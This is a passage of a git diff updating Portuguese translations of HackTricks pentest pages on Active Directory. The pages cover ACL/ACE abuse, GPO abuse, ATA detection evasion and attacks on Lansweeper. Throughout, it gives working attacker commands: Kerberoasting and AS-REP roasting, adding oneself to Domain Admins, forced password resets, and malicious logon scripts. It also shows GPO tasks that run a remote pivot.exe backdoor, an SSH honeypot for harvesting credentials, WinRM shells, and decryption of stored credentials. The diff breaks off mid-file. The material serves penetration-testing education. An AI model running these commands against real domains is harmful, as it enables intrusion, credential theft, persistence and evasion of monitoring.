- **Domain Admins Restrictions**: Recomenda-se que Domain Admins só possam fazer login em Domain Controllers, evitando seu uso em outros hosts.
+- **Domain Admins Restrictions**: Recomenda-se que os Domain Admins só possam fazer login em Domain Controllers, evitando seu uso em outros hosts.
 - **Service Account Privileges**: Serviços não devem ser executados com privilégios de Domain Admin (DA) para manter a segurança.
- **Temporal Privilege Limitation**: Para tarefas que requerem privilégios DA, sua duração deve ser limitada. Isso pode ser feito com: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Temporal Privilege Limitation**: Para tarefas que exigem privilégios de DA, a duração desses privilégios deve ser limitada. Isso pode ser feito com: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

-### **Implementing Deception Techniques**
+### **Implementando técnicas de Deception**

- Implementar enganação envolve armar armadilhas, como usuários ou computadores isca, com características como senhas que não expiram ou que são marcados como Trusted for Delegation. Uma abordagem detalhada inclui criar usuários com direitos específicos ou adicioná-los a grupos de alto privilégio.
+- Implementar deception envolve configurar armadilhas, como usuários ou computadores bobos, com características como senhas que não expiram ou marcadas como Trusted for Delegation. Uma abordagem detalhada inclui criar usuários com direitos específicos ou adicioná-los a grupos de alto privilégio.
 - Um exemplo prático envolve usar ferramentas como: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- More on deploying deception techniques can be found at [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- Mais sobre deployment de deception pode ser encontrado em [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

-### **Identifying Deception**
+### **Identificando Deception**

- **For User Objects**: Indicadores suspeitos incluem ObjectSID atípico, logons pouco frequentes, datas de criação e contagem baixa de senhas incorretas.
- **General Indicators**: Comparar atributos de objetos potenciais de enganação com os de objetos genuínos pode revelar inconsistências. Ferramentas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) podem ajudar a identificar tais enganações.
+- **For User Objects**: Indicadores suspeitos incluem ObjectSID atípico, logons pouco frequentes, datas de criação e baixo bad password counts.
+- **General Indicators**: Comparar atributos de possíveis objetos decoy com os de objetos genuínos pode revelar inconsistências. Ferramentas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) podem ajudar a identificar essas deceptions.

-### **Bypassing Detection Systems**
+### **Contornando sistemas de detecção**

 - **Microsoft ATA Detection Bypass**:
- **User Enumeration**: Evitar a enumeração de sessões em Domain Controllers para prevenir a detecção pelo ATA.
- **Ticket Impersonation**: Utilizar chaves **aes** para criação de tickets ajuda a evadir a detecção por não degradar para NTLM.
- **DCSync Attacks**: Recomenda-se executar a partir de um host que não seja Domain Controller para evitar a detecção pelo ATA, pois a execução direta de um Domain Controller disparará alertas.
+- **User Enumeration**: Evitar enumeração de sessões em Domain Controllers para prevenir a detecção pelo ATA.
+- **Ticket Impersonation**: Utilizar chaves **aes** para criação de tickets ajuda a evadir a detecção por não rebaixar para NTLM.
+- **DCSync Attacks**: Recomenda-se executar a partir de um non-Domain Controller para evitar a detecção do ATA, já que a execução direta de um Domain Controller disparará alertas.

 ## Referências

--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -1,8 +1,8 @@
-# Abusando de ACLs/ACEs do Active Directory
+# Abusando das ACLs/ACEs do Active Directory

 {{#include ../../../banners/hacktricks-training.md}}

-**Esta página é, em grande parte, um resumo das técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para mais detalhes, consulte os artigos originais.**
+**Esta página é principalmente um resumo das técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para mais detalhes, consulte os artigos originais.**

 ## BadSuccessor

@ -11,32 +11,32 @@
 BadSuccessor.md
 {{#endref}}

-## **Direitos GenericAll sobre Usuário**
+## **GenericAll Direitos sobre Usuário**

-Este privilégio concede ao atacante controle total sobre a conta de um usuário alvo. Uma vez que os direitos `GenericAll` são confirmados usando o comando `Get-ObjectAcl`, um atacante pode:
+Este privilégio concede a um atacante controle total sobre uma conta de usuário alvo. Uma vez que os direitos `GenericAll` sejam confirmados usando o comando `Get-ObjectAcl`, um atacante pode:

 - **Alterar a Senha do Alvo**: Usando `net user <username> <password> /domain`, o atacante pode redefinir a senha do usuário.
- **Targeted Kerberoasting**: Atribua um SPN à conta do usuário para torná-la kerberoastable, então use Rubeus e targetedKerberoast.py para extrair e tentar quebrar os hashes do ticket-granting ticket (TGT).
+- **Targeted Kerberoasting**: Atribua um SPN à conta do usuário para torná-la kerberoastable; em seguida use Rubeus e targetedKerberoast.py para extrair e tentar crackar os hashes do ticket-granting ticket (TGT).
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Targeted ASREPRoasting**: Desative pre-authentication para o usuário, tornando a conta dele vulnerável ao ASREPRoasting.
+- **Targeted ASREPRoasting**: Desative a pre-authentication do usuário, tornando sua conta vulnerável ao ASREPRoasting.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
-## **Direitos GenericAll em Grupo**
+## **Direitos GenericAll em um Grupo**

-Esse privilégio permite que um atacante manipule os membros de um grupo se tiver direitos `GenericAll` em um grupo como `Domain Admins`. Após identificar o nome distinto (distinguished name) do grupo com `Get-NetGroup`, o atacante pode:
+Esse privilégio permite que um atacante manipule os membros de um grupo se ele tiver direitos `GenericAll` em um grupo como `Domain Admins`. Depois de identificar o nome distinto do grupo com `Get-NetGroup`, o atacante pode:

- **Adicionar a si mesmo ao grupo Domain Admins**: Isso pode ser feito via comandos diretos ou usando módulos como Active Directory ou PowerSploit.
+- **Adicionar-se ao grupo Domain Admins**: Isso pode ser feito via comandos diretos ou usando módulos como Active Directory ou PowerSploit.
 ```bash
 net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
-A partir do Linux você também pode usar o BloodyAD para se adicionar a grupos arbitrários quando você possui GenericAll/Write membership sobre eles. Se o grupo alvo estiver aninhado em “Remote Management Users”, você ganhará imediatamente acesso WinRM em hosts que respeitam esse grupo:
+- A partir de Linux você também pode usar BloodyAD para se adicionar a grupos arbitrários quando tiver GenericAll/Write membership sobre eles. Se o grupo alvo estiver aninhado em “Remote Management Users”, você ganhará imediatamente acesso WinRM em hosts que respeitam esse grupo:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
 ```
 ## **GenericAll / GenericWrite / Write on Computer/User**

-Possuir esses privilégios em um objeto de computador ou em uma conta de usuário permite:
+Ter esses privilégios em um objeto de computador ou em uma conta de usuário permite:

 - **Kerberos Resource-based Constrained Delegation**: Permite assumir o controle de um objeto de computador.
- **Shadow Credentials**: Utilize esta técnica para se fazer passar por um computador ou conta de usuário, explorando os privilégios para criar shadow credentials.
+- **Shadow Credentials**: Use esta técnica para se passar por um computador ou conta de usuário explorando os privilégios para criar shadow credentials.

 ## **WriteProperty on Group**

-Se um usuário tem direitos `WriteProperty` em todos os objetos de um grupo específico (por exemplo, `Domain Admins`), ele pode:
+Se um usuário tiver direitos de `WriteProperty` sobre todos os objetos de um grupo específico (por exemplo, `Domain Admins`), eles podem:

- **Adicionar-se ao grupo Domain Admins**: Alcançável ao combinar os comandos `net user` e `Add-NetGroupUser`; esse método permite privilege escalation dentro do domínio.
+- **Add Themselves to the Domain Admins Group**: Alcançável combinando os comandos `net user` e `Add-NetGroupUser`, este método permite escalada de privilégios dentro do domínio.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **Self (Self-Membership) on Group**

-Este privilégio permite que atacantes se adicionem a grupos específicos, como `Domain Admins`, por meio de comandos que manipulam diretamente a associação de membros. Usar a seguinte sequência de comandos permite a auto-adição:
+Esse privilégio permite que atacantes se adicionem a grupos específicos, como `Domain Admins`, por meio de comandos que manipulam diretamente a associação de membros ao grupo. A seguinte sequência de comandos permite a auto-adição:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Um privilégio semelhante, que permite que atacantes se adicionem diretamente a grupos modificando as propriedades do grupo, caso possuam o direito `WriteProperty` nesses grupos. A confirmação e execução desse privilégio são realizadas com:
+Um privilégio semelhante, este permite que atacantes se adicionem diretamente a grupos ao modificar as propriedades do grupo se tiverem o direito `WriteProperty` nesses grupos. A confirmação e a execução deste privilégio são realizadas com:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Ter o `ExtendedRight` em um usuário para `User-Force-Change-Password` permite redefinir senhas sem conhecer a senha atual. A verificação desse direito e sua exploração podem ser feitas via PowerShell ou ferramentas alternativas de linha de comando, oferecendo vários métodos para redefinir a senha de um usuário, incluindo sessões interativas e one-liners para ambientes não interativos. Os comandos variam desde invocações simples do PowerShell até o uso de `rpcclient` no Linux, demonstrando a versatilidade dos attack vectors.
+Ter o `ExtendedRight` sobre um usuário para `User-Force-Change-Password` permite redefinir a senha sem conhecer a senha atual. A verificação desse direito e sua exploração podem ser feitas via PowerShell ou ferramentas de linha de comando alternativas, oferecendo vários métodos para redefinir a senha de um usuário, incluindo sessões interativas e comandos de uma linha para ambientes não interativos. Os comandos variam desde invocações simples do PowerShell até o uso de `rpcclient` no Linux, demonstrando a versatilidade dos vetores de ataque.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
 rpcclient -U KnownUsername 10.10.10.192
 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
 ```
-## **WriteOwner on Group**
+## **WriteOwner em Grupo**

-Se um atacante descobrir que tem direitos `WriteOwner` sobre um grupo, ele pode alterar o proprietário do grupo para si mesmo. Isso é particularmente significativo quando o grupo em questão é `Domain Admins`, pois alterar o proprietário permite um controle mais amplo sobre os atributos do grupo e seus membros. O processo envolve identificar o objeto correto via `Get-ObjectAcl` e então usar `Set-DomainObjectOwner` para modificar o proprietário, seja por SID ou por nome.
+Se um atacante descobrir que possui direitos `WriteOwner` sobre um grupo, ele pode alterar a propriedade do grupo para si mesmo. Isso é particularmente impactante quando o grupo em questão é `Domain Admins`, pois alterar o proprietário permite maior controle sobre os atributos e a associação do grupo. O processo envolve identificar o objeto correto via `Get-ObjectAcl` e então usar `Set-DomainObjectOwner` para modificar o proprietário, seja por SID ou por nome.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite on User**

-Esta permissão permite que um atacante modifique propriedades do usuário. Especificamente, com acesso `GenericWrite`, o atacante pode alterar o caminho do script de logon de um usuário para executar um script malicioso no logon do usuário. Isso é alcançado usando o comando `Set-ADObject` para atualizar a propriedade `scriptpath` do usuário alvo para apontar para o script do atacante.
+Esta permissão permite que um atacante modifique propriedades de usuário. Especificamente, com acesso `GenericWrite`, o atacante pode alterar o logon script path de um usuário para executar um script malicioso quando o usuário fizer logon. Isso é conseguido usando o comando `Set-ADObject` para atualizar a propriedade `scriptpath` do usuário alvo para apontar para o script do atacante.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite on Group**

-Com esse privilégio, atacantes podem manipular a filiação a grupos, como adicionar a si mesmos ou outros usuários a grupos específicos. Esse processo envolve criar um objeto de credencial, usá-lo para adicionar ou remover usuários de um grupo e verificar as alterações de filiação com comandos PowerShell.
+Com esse privilégio, atacantes podem manipular a associação a grupos, como adicionar a si mesmos ou outros usuários a grupos específicos. Esse processo envolve criar um objeto de credencial, usá-lo para adicionar ou remover usuários de um grupo e verificar as alterações de associação com comandos PowerShell.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Possuir um objeto AD e ter privilégios `WriteDACL` sobre ele permite que um atacante conceda a si mesmo privilégios `GenericAll` sobre o objeto. Isso é realizado por meio de manipulação ADSI, permitindo controle total sobre o objeto e a capacidade de modificar suas associações de grupo. Apesar disso, existem limitações ao tentar explorar esses privilégios usando os cmdlets `Set-Acl` / `Get-Acl` do módulo Active Directory.
+Possuir um objeto do AD e ter privilégios `WriteDACL` sobre ele permite que um atacante se conceda privilégios `GenericAll` sobre o objeto. Isso é realizado por meio da manipulação ADSI, permitindo controle total sobre o objeto e a capacidade de modificar sua filiação a grupos. Apesar disso, existem limitações ao tentar explorar esses privilégios usando os cmdlets `Set-Acl` / `Get-Acl` do módulo Active Directory.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -121,62 +121,62 @@ $ADSI.psbase.commitchanges()
 ```
 ## **Replicação no Domínio (DCSync)**

-O ataque DCSync aproveita permissões específicas de replicação no domínio para se passar por um Domain Controller e sincronizar dados, incluindo credenciais de usuários. Essa técnica poderosa requer permissões como `DS-Replication-Get-Changes`, permitindo que atacantes extraiam informações sensíveis do ambiente AD sem acesso direto a um Controlador de Domínio. [**Learn more about the DCSync attack here.**](../dcsync.md)
+O ataque DCSync aproveita permissões de replicação específicas no domínio para se passar por um Domain Controller e sincronizar dados, incluindo credenciais de usuário. Esta técnica poderosa requer permissões como `DS-Replication-Get-Changes`, permitindo que atacantes extraiam informações sensíveis do ambiente AD sem acesso direto a um Domain Controller. [**Saiba mais sobre o ataque DCSync aqui.**](../dcsync.md)

 ## Delegação de GPO <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### Delegação de GPO

-O acesso delegado para gerenciar Objetos de Política de Grupo (GPOs) pode representar riscos de segurança significativos. Por exemplo, se um usuário como `offense\spotless` for delegado com direitos de gerenciamento de GPO, ele pode ter privilégios como **WriteProperty**, **WriteDacl** e **WriteOwner**. Essas permissões podem ser abusadas para fins maliciosos, conforme identificado usando o PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+O acesso delegado para gerenciar Group Policy Objects (GPOs) pode representar riscos significativos de segurança. Por exemplo, se um usuário como `offense\spotless` tiver direitos delegados de gerenciamento de GPO, ele pode possuir privilégios como **WriteProperty**, **WriteDacl**, e **WriteOwner**. Essas permissões podem ser abusadas para fins maliciosos, como identificado usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

 ### Enumerar Permissões de GPO

-Para identificar GPOs mal configuradas, os cmdlets do PowerSploit podem ser encadeados. Isso permite descobrir GPOs que um usuário específico tem permissão para gerenciar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Para identificar GPOs mal configurados, os cmdlets do PowerSploit podem ser encadeados. Isso permite descobrir quais GPOs um usuário específico tem permissão para gerenciar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Computadores com uma Política Aplicada**: É possível resolver a quais computadores uma GPO específica se aplica, ajudando a entender o escopo do impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Computadores com uma Política Aplicada**: É possível resolver quais computadores uma GPO específica se aplica, ajudando a entender o escopo do impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Políticas Aplicadas a um Determinado Computador**: Para ver quais políticas são aplicadas a um computador específico, comandos como `Get-DomainGPO` podem ser utilizados.
+**Políticas Aplicadas a um Computador**: Para ver quais políticas são aplicadas a um computador específico, comandos como `Get-DomainGPO` podem ser utilizados.

 **OUs com uma Política Aplicada**: Identificar unidades organizacionais (OUs) afetadas por uma determinada política pode ser feito usando `Get-DomainOU`.

 Você também pode usar a ferramenta [**GPOHound**](https://github.com/cogiceo/GPOHound) para enumerar GPOs e encontrar problemas nelas.

-### Abusar GPO - New-GPOImmediateTask
+### Abuso de GPO - New-GPOImmediateTask

-GPOs mal configuradas podem ser exploradas para executar código, por exemplo, criando uma tarefa agendada imediata. Isso pode ser feito para adicionar um usuário ao grupo de administradores locais nas máquinas afetadas, elevando significativamente privilégios:
+GPOs mal configuradas podem ser exploradas para executar código, por exemplo, criando uma tarefa agendada imediata. Isso pode ser usado para adicionar um usuário ao grupo de administradores locais nas máquinas afetadas, elevando significativamente os privilégios:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-O GroupPolicy module, se instalado, permite a criação e o vínculo de novos GPOs e a definição de preferências, como registry values, para executar backdoors nos computadores afetados. Este método requer que o GPO seja atualizado e que um usuário faça logon no computador para execução:
+O GroupPolicy module, se instalado, permite criar e vincular novos GPOs, além de definir preferências, como valores do registro, para executar backdoors em computadores afetados. Este método requer que o GPO seja atualizado e que um usuário faça logon no computador para a execução:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
 ### SharpGPOAbuse - Abuse GPO

-SharpGPOAbuse oferece um método para abusar de GPOs existentes adicionando tarefas ou modificando configurações sem a necessidade de criar novos GPOs. Esta ferramenta requer a modificação de GPOs existentes ou o uso de ferramentas RSAT para criar novos antes de aplicar as alterações:
+SharpGPOAbuse oferece um método para abusar de GPOs existentes, adicionando tarefas ou modificando configurações sem a necessidade de criar novos GPOs. Esta ferramenta requer a modificação de GPOs existentes ou o uso de ferramentas RSAT para criar novos antes de aplicar as alterações:
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
-### Forçar Atualização de Política
+### Forçar Atualização de Políticas

-As atualizações de GPO normalmente ocorrem aproximadamente a cada 90 minutos. Para acelerar esse processo, especialmente após implementar uma mudança, o comando `gpupdate /force` pode ser usado no computador alvo para forçar uma atualização imediata de política. Esse comando garante que quaisquer modificações nas GPOs sejam aplicadas sem aguardar o próximo ciclo de atualização automática.
+As atualizações de GPO normalmente ocorrem a cada ~90 minutos. Para acelerar esse processo, especialmente após aplicar uma alteração, o comando `gpupdate /force` pode ser usado no computador alvo para forçar uma atualização imediata das políticas. Esse comando garante que quaisquer modificações nas GPOs sejam aplicadas sem aguardar o próximo ciclo automático de atualização.

-### Sob o Capô
+### Por Trás dos Bastidores

-Ao inspecionar as Tarefas Agendadas de uma determinada GPO, como a `Misconfigured Policy`, pode-se confirmar a adição de tarefas como `evilTask`. Essas tarefas são criadas por meio de scripts ou ferramentas de linha de comando com o objetivo de modificar o comportamento do sistema ou escalar privilégios.
+Ao inspecionar as Scheduled Tasks de uma GPO específica, como a `Misconfigured Policy`, é possível confirmar a adição de tarefas como `evilTask`. Essas tarefas são criadas por scripts ou ferramentas de linha de comando com o objetivo de modificar o comportamento do sistema ou escalar privilégios.

-A estrutura da tarefa, conforme mostrada no arquivo de configuração XML gerado por `New-GPOImmediateTask`, descreve os detalhes da tarefa agendada — incluindo o comando a ser executado e seus gatilhos. Esse arquivo representa como as tarefas agendadas são definidas e gerenciadas dentro das GPOs, fornecendo um método para executar comandos ou scripts arbitrários como parte da aplicação da política.
+A estrutura da tarefa, conforme mostrada no arquivo de configuração XML gerado por `New-GPOImmediateTask`, descreve os detalhes da scheduled task — incluindo o comando a ser executado e seus triggers. Esse arquivo representa como as scheduled tasks são definidas e gerenciadas dentro das GPOs, fornecendo um método para executar comandos ou scripts arbitrários como parte da aplicação de políticas.

 ### Usuários e Grupos

-As GPOs também permitem a manipulação de usuários e associações de grupos em sistemas alvo. Ao editar diretamente os arquivos de política de Usuários e Grupos, atacantes podem adicionar usuários a grupos privilegiados, como o grupo local `administrators`. Isso é possível por meio da delegação de permissões de gerenciamento de GPO, que permite a modificação dos arquivos de política para incluir novos usuários ou alterar associações de grupo.
+As GPOs também permitem a manipulação de usuários e membros de grupos em sistemas alvo. Editando diretamente os arquivos de policy de Users and Groups, atacantes podem adicionar usuários a grupos privilegiados, como o grupo local `administrators`. Isso é possível por meio da delegação de permissões de gerenciamento de GPO, que permite a modificação dos arquivos de policy para incluir novos usuários ou alterar associações de grupos.

-O arquivo de configuração XML para Usuários e Grupos descreve como essas alterações são implementadas. Ao adicionar entradas a esse arquivo, usuários específicos podem receber privilégios elevados nos sistemas afetados. Esse método oferece uma abordagem direta para elevação de privilégios através da manipulação de GPOs.
+O arquivo de configuração XML para Users and Groups descreve como essas alterações são implementadas. Ao adicionar entradas a esse arquivo, usuários específicos podem receber privilégios elevados nos sistemas afetados. Esse método oferece uma abordagem direta para escalada de privilégios através da manipulação de GPOs.

-Além disso, outros métodos para executar código ou manter persistência, como aproveitar scripts de logon/logoff, modificar chaves de registro para autoruns, instalar software via arquivos .msi ou editar configurações de serviços, também podem ser considerados. Essas técnicas fornecem diversas vias para manter acesso e controlar sistemas alvo através do abuso de GPOs.
+Além disso, métodos adicionais para executar código ou manter persistência, como aproveitar scripts de logon/logoff, modificar chaves de registro para autoruns, instalar software via .msi files ou editar configurações de serviços, também podem ser considerados. Essas técnicas fornecem várias vias para manter acesso e controlar sistemas alvo por meio do abuso de GPOs.

 ## Referências

--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -2,14 +2,14 @@

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper é uma plataforma de descoberta e inventário de ativos de TI comumente implantada no Windows e integrada ao Active Directory. Credenciais configuradas no Lansweeper são usadas pelos seus scanning engines para autenticar em ativos via protocolos como SSH, SMB/WMI e WinRM. Configurações incorretas frequentemente permitem:
+Lansweeper é uma plataforma de descoberta e inventário de ativos de TI comumente implantada em Windows e integrada ao Active Directory. As credenciais configuradas no Lansweeper são usadas pelos seus scanning engines para autenticar em ativos através de protocolos como SSH, SMB/WMI e WinRM. Configurações incorretas frequentemente permitem:

- Interceptação de credenciais redirecionando um Scanning Target para um host controlado pelo atacante (honeypot)
+- Interceptação de credenciais ao redirecionar um Scanning Target para um host controlado pelo atacante (honeypot)
 - Abuso de AD ACLs expostas por grupos relacionados ao Lansweeper para obter acesso remoto
- Decriptação on-host de secrets configurados no Lansweeper (connection strings e credenciais de scanning armazenadas)
+- Decriptação on-host de secrets configurados no Lansweeper (connection strings e stored scanning credentials)
 - Execução de código em endpoints gerenciados via a feature Deployment (frequentemente executando como SYSTEM)

-Esta página resume fluxos de ataque práticos e comandos para abusar desses comportamentos durante engagements.
+Esta página resume fluxos de trabalho práticos do atacante e comandos para abusar desses comportamentos durante engagements.

 ## 1) Harvest scanning credentials via honeypot (SSH example)

@ -39,7 +39,7 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Validar creds capturadas contra os serviços do DC:
+Validar credenciais capturadas contra serviços do DC:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
@ -48,13 +48,13 @@ netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
 Notas
 - Funciona de forma semelhante para outros protocolos quando você consegue coagir o scanner ao seu listener (SMB/WinRM honeypots, etc.). SSH costuma ser o mais simples.
- Muitos scanners se identificam com banners de cliente distintos (por exemplo, RebexSSH) e tentarão comandos benignos (uname, whoami, etc.).
+- Muitos scanners se identificam com banners de cliente distintos (e.g., RebexSSH) e tentarão comandos benignos (uname, whoami, etc.).

-## 2) AD ACL abuse: obter acesso remoto adicionando-se a um grupo app-admin
+## 2) AD ACL abuse: obtenha acesso remoto adicionando-se a um grupo app-admin

-Use o BloodHound para enumerar direitos efetivos a partir da conta comprometida. Uma descoberta comum é um grupo específico do scanner ou da app (por exemplo, “Lansweeper Discovery”) possuindo GenericAll sobre um grupo privilegiado (por exemplo, “Lansweeper Admins”). Se o grupo privilegiado também for membro de “Remote Management Users”, o WinRM fica disponível assim que nos adicionarmos.
+Use BloodHound para enumerar os direitos efetivos da conta comprometida. Uma descoberta comum é um grupo específico do scanner ou do app (e.g., “Lansweeper Discovery”) detendo GenericAll sobre um grupo privilegiado (e.g., “Lansweeper Admins”). Se o grupo privilegiado também for membro de “Remote Management Users”, o WinRM fica disponível assim que nos adicionarmos.

-Exemplos de coleta:
+Collection examples:
 ```bash
 # NetExec collection with LDAP
 netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
@ -75,20 +75,20 @@ Em seguida, obtenha um shell interativo:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Dica: operações Kerberos são sensíveis ao tempo. Se você receber KRB_AP_ERR_SKEW, sincronize o relógio com o DC primeiro:
+Dica: as operações do Kerberos são sensíveis ao tempo. Se você receber KRB_AP_ERR_SKEW, sincronize com o DC primeiro:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
 ## 3) Descriptografar segredos configurados pelo Lansweeper no host

-No servidor Lansweeper, o site ASP.NET normalmente armazena uma connection string criptografada e uma chave simétrica usada pela aplicação. Com acesso local apropriado, você pode descriptografar a connection string do DB e então extrair as scanning credentials armazenadas.
+No servidor Lansweeper, o site ASP.NET normalmente armazena uma string de conexão criptografada e uma chave simétrica usada pela aplicação. Com acesso local adequado, você pode descriptografar a string de conexão do banco de dados e então extrair as credenciais de varredura armazenadas.

 Locais típicos:
- web.config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
+- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
- Chave da aplicação: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
+- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Use o SharpLansweeperDecrypt para automatizar a descriptografia e a extração das creds armazenadas:
+Use SharpLansweeperDecrypt para automatizar a descriptografia e extração das credenciais armazenadas:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,24 +99,24 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-A saída esperada inclui detalhes de conexão DB e credenciais de varredura em texto simples, como contas Windows e Linux usadas em todo o ambiente. Essas frequentemente têm privilégios locais elevados em hosts de domínio:
+A saída esperada inclui detalhes de conexão DB e credenciais de varredura em texto simples, como contas Windows e Linux usadas em todo o ambiente. Estas frequentemente têm privilégios locais elevados em hosts de domínio:
 ```text
